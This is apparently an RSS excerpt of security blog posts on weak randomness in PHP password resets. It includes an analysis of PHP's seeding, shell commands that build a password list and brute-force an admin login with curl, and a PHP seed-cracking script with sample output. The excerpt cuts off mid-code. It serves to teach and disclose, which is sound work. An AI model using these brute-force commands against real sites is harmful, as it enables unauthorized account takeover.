<font color="#60ff60"><b>static</b></font>&nbsp;<font color="#60ff60"><b>void</b></font>&nbsp;lcg_seed(TSRMLS_D) <font color="#80a0ff">/*</font><font color="#80a0ff">&nbsp;{{{ </font><font color="#80a0ff">*/</font>
{
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>struct</b></font>&nbsp;timeval tv;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(gettimeofday(&amp;tv, <font color="#ffa0a0">NULL</font>) == <font color="#ffa0a0">0</font>) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LCG(s1) = tv.tv_sec ^ (tv.tv_usec&lt;&lt;<font color="#ffa0a0">11</font>);
&nbsp;&nbsp;&nbsp;&nbsp;} <font color="#ffff60"><b>else</b></font>&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LCG(s1) = <font color="#ffa0a0">1</font>;
&nbsp;&nbsp;&nbsp;&nbsp;}
<font color="#ff80ff">#ifdef ZTS</font>
&nbsp;&nbsp;&nbsp;&nbsp;LCG(s2) = (<font color="#60ff60"><b>long</b></font>) tsrm_thread_id();
<font color="#ff80ff">#else</font>&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;LCG(s2) = (<font color="#60ff60"><b>long</b></font>) getpid();
<font color="#ff80ff">#endif</font>

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">/*</font><font color="#80a0ff">&nbsp;Add entropy to s2 by calling gettimeofday() again </font><font color="#80a0ff">*/</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(gettimeofday(&amp;tv, <font color="#ffa0a0">NULL</font>) == <font color="#ffa0a0">0</font>) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LCG(s2) ^= (tv.tv_usec&lt;&lt;<font color="#ffa0a0">11</font>);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;LCG(seeded) = <font color="#ffa0a0">1</font>;
}</pre>
<p>This is seeded with the current time (known), the process id (weak), and the current time again (still known).</p>
<p>So to summarize, unless I'm missing something, PHP's automatic seeding uses the following for entropy:</p>
<ul>
<li>Current time (known value)</li>
<li>Process ID (predictable range)</li>
<li>php_combined_lcg</li>
<ul>
<li>Current time (again)</li>
<li>Process id (again)</li>
<li>Current time (yet again)</li>
</ul>
</ul>
<p>I haven't done any further research into PHP's random number generator, but from what I've seen I don't get a good feeling about it. It would be interesting if somebody took this a step further and actually wrote an attack against PHP's random number implementation. That, or discovered a source of entropy that I was unaware of. Because, from the code I've looked at, it looks like there may be some problems.</p>
<p>An additional issue is that every seed generated is cast to a (long), which is 32-bits. That means that at the very most, despite the ridiculously long period of the mt_rand() function, there are only 4.2 billion possible seeds. That means, at the very best, an application that relies entirely on mt_rand() or rand() for their randomness are going to be a lot less random than they think!</p>
<p>It turns out, after a little research, I'm <a href='http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/'>not the only one</a> who's noticed problems with PHP's random functions. In fact, in that article, Stefan goes over a history of PHP's random number issues. It turns out, what I've found is only the tip of the iceberg!</p>
<h2>Observations</h2>
<p>I hope the last three blogs have raised some awareness on how randomization can be used and abused. It turns out, using randomness is far more complex than people realize. First, you have to know how to use it properly; otherwise, you've already lost. Second, you have to consider how you're generating the it in the first place. </p>
<p>It seems that the vast majority of applications make either one mistake or the other. It's difficult to create "good" randomness, though, and I think the one that does the best job is actually SMF.</p>
<h2>Recommendation</h2>
<p>Here is what I would suggest:</p>
<ul>
<li>Get your randomness from multiple sources</li>
<li>Save a good random seed between sessions (eg, save the last output of the random number generator to the database)</li>
<li>Use cryptographically secure functions for random generation (for example, hashing functions)</li>
<li>Don't limit your seeds to 32-bit values</li>
<li>Collect entropy in the application, if possible (what happens in your application that is impossible to guess/detect/force but that can accumulate?)</li>
</ul>
<p>I'm sure there are some other great suggestions for ensuring your random numbers are cryptographically secure, and I've love to hear them!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/mostly-good-password-resets/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Hacking crappy password resets (part 2)</title>
		<link>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2</link>
		<comments>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2#comments</comments>
		<pubDate>Tue, 15 Mar 2011 13:09:41 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1059</guid>
		<description><![CDATA[Hey, In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset. The code First, [...]]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>In my <a href='/blog/2011/hacking-crappy-password-resets-part-1'>last post</a>, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset. </p>
<h2>The code</h2>
<p>First, let's take a look at the code:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font><font color="#40ffff">strtolower</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">cfgrow</font><font color="#ffa500">[</font>'<font color="#ffa0a0">email</font>'<font color="#ffa500">])</font><font color="#ffff60"><b>==</b></font><font color="#40ffff">strtolower</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">_POST</font><font color="#ffa500">[</font>'<font color="#ffa0a0">reminderemail</font>'<font color="#ffa500">]))</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// generate a random new pass</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">user_pass</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">MD5</font><font color="#ffa500">(</font>'<font color="#ffa0a0">time</font>'&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">rand</font><font color="#ffa500">(</font><font color="#ffa0a0">1</font>, <font color="#ffa0a0">16000</font><font color="#ffa500">))</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">6</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">query</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;&quot;<font color="#ffa0a0">update config set password=MD5('</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">user_pass</font><font color="#ffa0a0">') where [...]</font>&quot;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font><font color="#ffa500">(</font><font color="#40ffff">mysql_query</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">query</font><font color="#ffa500">))</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font color="#80a0ff">// ...</font>
<font color="#ffa500">?&gt;</font>
</pre>
<h2>The vulnerability</h2>
<p>The vulnerability lies in the password generation:</p>
<pre>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">user_pass</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">MD5</font><font color="#ffa500">(</font>'<font color="#ffa0a0">time</font>'&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">rand</font><font color="#ffa500">(</font><font color="#ffa0a0">1</font>, <font color="#ffa0a0">16000</font><font color="#ffa500">))</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">6</font><font color="#ffa500">)</font>;</pre>
<p>The new password generated is the md5() of the literal string 'time' (*not* the current time, the *word* "time") concatenated with one of 16,000 random numbers, then truncated to 6 bytes. We can very easily generate the complete password list on the commandline:</p>
<pre>$ seq <font color="#ffa0a0">1</font>&nbsp;<font color="#ffa0a0">16000</font>&nbsp;| xargs <font color="#ffa500">-I</font>&nbsp;XXX sh <font color="#ffa500">-c</font>&nbsp;<font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">echo timeXXX | md5sum | cut -b1-6</font><font color="#ffff60"><b>&quot;</b></font></pre>
<p>or, another way:</p>
<pre>$ <font color="#ffff60"><b>for </b></font>i <font color="#ffff60"><b>in</b></font>&nbsp;<font color="#ffa500">`seq </font><font color="#ffa0a0">1</font><font color="#ffa500">&nbsp;</font><font color="#ffa0a0">16000</font><font color="#ffa500">`</font>; <font color="#ffff60"><b>do</b></font>&nbsp;<font color="#ffff60"><b>echo</b></font><font color="#ffa0a0">&nbsp;</font><font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">time</font><font color="#ff80ff">$i</font><font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">&nbsp;</font><font color="#ffff60"><b>|</b></font>&nbsp;md5sum <font color="#ffff60"><b>|</b></font>&nbsp;cut -b1<font color="#ffa0a0">-6</font></pre>
<p>(By the way, for more information on using xargs, check out a really awesome blog posting called <a href='http://teddziuba.com/2010/10/taco-bell-programming.html'>Taco Bell Programming</a> - it's like real programming, but you can't legally call it "beef")</p>
<p>In either case, you'll wind up with 16,000 different passwords in a file. If you want to speed up the eventual bruteforce, you can eliminate collisions:</p>
<pre>$ seq 1 16000 | xargs -I XXX sh -c "echo XXX | md5sum | cut -b1-6" | sort | uniq</pre>
<p>If you do that, you'll wind up with 15,993 different passwords, ranging from '000b64' to 'fffcc0'. Now all that's left is to try these 15,993 passwords against the site! </p>
<h2>The attack</h2>
<p>You can do this attack any number of ways. You can script up some Perl/Ruby/PHP, you can use a scanner like Burp Suite, or, if you're feeling really adventurous, you can write a quick config file for <a href='http://nmap.org/svn/scripts/http-enum.nse'>http-enum.nse</a>. If anybody takes the time to replicate this with http-enum.nse, you'll win an Internet from me. I promise. </p>
<p>But why bother with all these complicated pieces of software when we have bash handy? All we need to do is try all 15,993 passwords using wget/curl/etc and look for the one page that's different. Done! </p>
<p>So, to download a single page, we'd use:</p>
<pre>$ curl <font color="#ffa500">-s</font>&nbsp;<font color="#ffa500">-o</font>&nbsp;XXX.out <font color="#ffa500">-d</font>&nbsp;<font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">user=admin&amp;password=XXX</font><font color="#ffff60"><b>&quot;</b></font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>site<font color="#ffff60"><b>&gt;</b></font>/admin/?<font color="#40ffff">x</font>=login
</pre>
<p>This will create a file called XXX.out on the filesystem, which is the output from a login attempt with the password XXX. Now we use xargs to do that for every password:</p>
<pre>$ cat passwords.txt | xargs <font color="#ffa500">-P32</font>&nbsp;<font color="#ffa500">-I</font>&nbsp;XXX curl <font color="#ffa500">-s</font>&nbsp;<font color="#ffa500">-o</font>&nbsp;XXX.out <font color="#ffff60"><b>\</b></font>
&nbsp;&nbsp;<font color="#ffa500">-d</font>&nbsp;<font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">user=admin&amp;password=XXX</font><font color="#ffff60"><b>&quot;</b></font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>site<font color="#ffff60"><b>&gt;</b></font>/admin/?<font color="#40ffff">x</font>=login
</pre>
<p>Which will, in 32 parallel processes, attempt to log in with each password and write the result to a file named &lt;password&gt;.out. Now all we have to do figure out which one's different! After waiting for it to finish (or not.. it takes about 5-10 minutes), I check the folder:</p>
<pre>$ md5sum *.out | head
96ffbb1ba380de9fc9e7a3fe316ff631  000176.out
96ffbb1ba380de9fc9e7a3fe316ff631  0014c2.out
96ffbb1ba380de9fc9e7a3fe316ff631  001e7e.out
96ffbb1ba380de9fc9e7a3fe316ff631  002035.out
96ffbb1ba380de9fc9e7a3fe316ff631  00217c.out
96ffbb1ba380de9fc9e7a3fe316ff631  002c47.out
96ffbb1ba380de9fc9e7a3fe316ff631  003b9e.out
96ffbb1ba380de9fc9e7a3fe316ff631  004bff.out
96ffbb1ba380de9fc9e7a3fe316ff631  0057b8.out
96ffbb1ba380de9fc9e7a3fe316ff631  008dea.out</pre>
<p>Sure enough, it's tried all the passwords and they all seemed to download the same page! Now we use grep -v to find the one and only download that's different:</p>
<pre>$ md5sum *.out | grep -v 96ffbb1ba380de9fc9e7a3fe316ff631
d41d8cd98f00b204e9800998ecf8427e  b19261.out</pre>
<p>And bam! We now know the password is "b19261". </p>
<h2>Conclusion</h2>
<p>So there you have it - abusing a password reset to log into an account you shouldn't. And remember, even though we didn't test this with 1,000,000 possible passwords like last week's blog, it would only take about 60 times as long - so instead of a few minutes, it'd be a few hours. And as I said last week, that million-password reset form was actually pretty common. </p>
<p>And in case you think this is hocus pocus or whatever, I wrote the code shown here live, on stage, at Winnipeg Code Camp. It's towards the end of <a href='http://vimeo.com/20718776'>my talk</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Hacking crappy password resets (part 1)</title>
		<link>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1</link>
		<comments>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1#comments</comments>
		<pubDate>Wed, 09 Mar 2011 14:14:05 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1054</guid>
		<description><![CDATA[Greetings, all! This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!) For this first part, I'm going to take a closer look at some very common (and very [...]]]></description>
			<content:encoded><![CDATA[<p>Greetings, all!</p>
<p>This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched <a href='http://vimeo.com/20718776'>the video</a>) from <a href='http://www.winnipegcodecamp.com/'>Winnipeg Code Camp</a>, some of this will be old news (but hopefully still interesting!)</p>
<p>For this first part, I'm going to take a closer look at some very common (and very flawed) code that I've seen in on a major "snippit" site and contained in at least 5-6 different applications (out of 20 or so that I reviewed). The second blog will focus on a single application that does something much worse. </p>
<h2>Password reset?</h2>
<p>First off, what is a password reset? You probably know this already, so feel free to skip to the next section for the good stuff.</p>
<p>Many sites offer a feature for users who forgot their passwords. They click a link, and it sends them a temporary password (or, for some sites, it changes their site password to a temporary password, effectively locking out the user till they check their email).</p>
<p>These generally work by generating a one-time password/token/etc, and emailing it to the address on record. The legitimate user receives the email, and clicks the link/uses the temp password/etc to log back into their account, at which point they ought to (or are forced to) change their password.</p>
<p>Some reset schemes require the user to answer their "secret questions", which often involves knowing information that nobody else (<a href='http://en.wikipedia.org/wiki/Sarah_Palin_email_hack'>except Facebook</a>) knows. I'm not a fan of the "secret question" and "secret answer" strategy myself, and they were torn apart by experts after Sarah Palin's email was compromised, so we aren't going to talk about them. </p>
<p>It is widely known that passwords are the weakest point in most security systems. Well, as it turns out, password resets are often the weakest point in password schemes. No matter how good your password policies, login procedures, etc are, a bad password reset can compromise an entire system. Here's a few ways:</p>
<ul>
<li>Poorly chosen random passwords (that's what this post is about)</li>
<li>Poorly validated email addresses (can I reset the password to *my* address?)</li>
<li>Relying entirely on secret questions/answers (Palin hack)</li>
<li>Not extending brute-force protection (or logging) to the reset tokens</li>
</ul>
<p>The last point is somewhat interesting, but none of the reset schemes I found in applications used reset tokens so I'm not going to cover them.</p>
<h2>Methodology</h2>
<p>To do this research, I found a large repository of PHP projects, clicks on the "blogs" category, and downloaded a whole bunch of them. In the end, I had about 20 different applications. I didn't keep a list, but from memory, I found the following:</p>
<ul>
<li>10 had no accounts, no passwords, or no ability to recover passwords</li>
<li>6 used a password-reset function that is somewhat weak and very common (and can be found on snippits sites) - the scheme that I'm covering this week</li>
<li>3 emailed back the passwords in plaintext</li>
<li>1 used a *really* bad reset scheme (that's the one I'm covering next post)</li>
</ul>
<h2>Motivation</h2>
<p>Let's say you compromise a site (for a legitimate and ethical penetration test, of course). You wind up with 1,000,000 accounts from a database that happens to use this password generation technique (either for password resets or for generating initial passwords). Rather than wasting time cracking these passwords, you want to eliminate every "generated" password from the list. How can you do that?</p>
<p>Or another scenario: you realize that a company's corporate "password generator" toolbar utility is using this algorithm to generate "secure" passwords within a company. Knowing that some users are going to misuse this utility, and use the same "strong" passwords on multiple accounts, you compromise a weak host, crack a user's 14-character "random" password, then use that to log into their other systems.</p>
<p>How the heck do we crack a 14-character random password, you ask? Let's fine out!</p>
<h2>The code</h2>
<p>We're going to focus on the six or so sites that used a common password reset function. Here's the snippit:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ff80ff">function</font>&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijkmnopqrstuvwxyz023456789!@#$</font>';

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">srand</font><font color="#ffa500">((</font><font color="#60ff60"><b>double</b></font><font color="#ffa500">)</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>*</b></font>&nbsp;<font color="#ffa0a0">1000000</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, <font color="#ffa500">(</font><font color="#40ffff">rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>%</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>
<font color="#ffa500">?&gt;</font>
</pre>
<p>At first glance, this didn't look too bad. I was a little disappointed, to be honest. Using srand() in modern PHP versions isn't recommended, but it appears to be seeded with a high-resolution timer - that could make it difficult to guess. In theory. </p>
<p>If you were to generate a password with strong randomization and a decent length (say, 14 characters), even with a fast/weak hashing algorithm like md5 it'll be nearly impossible to crack. We need a better way!</p>
<p>I decided to look at how strong the seed passed to srand() actually was. To do this, I replaced srand() with echo():</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">3</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ff80ff">echo</font><font color="#ffa500">((</font><font color="#60ff60"><b>double</b></font><font color="#ffa500">)</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>*</b></font>&nbsp;<font color="#ffa0a0">1000000</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ff80ff">echo</font>&nbsp;&quot;<font color="#ffa500">\n</font>&quot;;
&nbsp;&nbsp;<font color="#ffa500">}</font>
<font color="#ffa500">?&gt;</font>
</pre>
<p>Then ran the application a few times to get an idea of how the seed worked:</p>
<pre>$ php srand.php
155118
155198
155213
$ php srand.php
898454
898536
898552
$ php srand.php
673755
673844
673860
</pre>
<p>Hmm! It looks like the random seed is actually a fairly hard-to-guess integer between 0 and 1,000,000. Fortunately, 1,000,000 is a small number. Suddenly, this is a lot easier.</p>
<p>In my next blog, I'm going to look at how we can use commandline tools to do a bruteforce remotely and guess a password this way, but for now let's see how we can crack the passwords using two methods: php and john the ripper.</p>
<h2>Cracking it with PHP</h2>
<p>If for whatever reason you only have a single hash that you want to crack, this is by far the easiest way. I basically modified the original function (found above) to take an extra parameter - the hash - and to generate random passwords with different seeds until it finds one that matches. Here's the code:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ff80ff">function</font>&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">hash</font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijkmnopqrstuvwxyz023456789!@#$</font>';

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">1000000</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">srand</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, <font color="#ffa500">(</font><font color="#40ffff">rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>%</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font><font color="#ffa500">(</font><font color="#40ffff">md5</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>==</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">hash</font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">}</font>
&nbsp;&nbsp;<font color="#ffa500">}</font>
<font color="#ffa500">?&gt;</font>
</pre>
<p>Basically, we generate all million possible passwords and figure out which one it is. Easy!</p>
<p>I wrote a couple little test programs that basically just call those functions to confirm it works:</p>
<p>$ php password_reset.php 14<br />
Generated a 14-character, random password: 4fx@xpxtuos6ee (md5: ef949c5bd59359a5403caafa95d3c5f9)<br />
$ php password_reset.php 14<br />
Generated a 14-character, random password: 95h76tio0vbuh4 (md5: 8ad7fa746f82d90bee2bc38783ad7981)<br />
$ php password_reset.php 20<br />
Generated a 20-character, random password: qnhbk95a8m2sqvwrzieb (md5: 1a902b5f425555446186f346a62c7a53)</p>
<p>Now normally, all three of these would be impossible to crack. Typically, a 14-character password, chosen from a set of 38 different characters, has 13,090,925,539,866,773,438,464 different possibilities. Fortunately, as we saw earlier, the rand() is seeded with only a million possible seeds, and a million is definitely bruteforceable!</p>
<p>We've already seen the function to crack the passwords, so let's try it out:</p>
<pre>$ php ./password_reset_crack.php 14 ef949c5bd59359a5403caafa95d3c5f9
The password is: 4fx@xpxtuos6ee
$ php ./password_reset_crack.php 14 8ad7fa746f82d90bee2bc38783ad7981
The password is: 95h76tio0vbuh4
$ php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb
</pre>
<p>And it isn't slow, either:</p>
<pre>$ time php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb

real    0m3.732s
user    0m3.709s
sys     0m0.005s
</pre>
<p>So basically, we cracked a 20-character "random" password in under 4 seconds, w00t! (or, to quote a new friend, "WOOP WOOP WOOP WOOP")</p>
<h2>Cracking with john</h2>
<p>Let's say that instead of three passwords, you have a thousand. In fact, let's generate a whole bunch! You can <a href='/blogdata/14_character_hashes.txt.bz2'>try it yourself</a>, too. The file contains 5000 passwords in raw-md5 format (with a few duplicates thanks in part to the <a href='http://en.wikipedia.org/wiki/Birthday_paradox'>Birthday Paradox</a>). We're going to use john the ripper 1.7.6 with the Jumbo patch to try cracking them. By default, john fails miserably:</p>
<pre>
$ ./john --format=raw-md5 ./14_character_hashes.txt
Loaded 5000 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
guesses: 0  time: 0:00:00:31 (3)  c/s: 20900M  trying: tenoeuf - tenoey5
Session aborted
</pre>
<p>Even at 20,000,000,000 checks/second, it's getting nothing. I can leave it all day and it will get nothing. These passwords are pretty much impossible to crack with brute force.</p>
<p>Now let's let john in on the secret and tell it the 1,000,000 possible passwords!</p>
<p>The first thing we do is write a quick php application to generate them:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
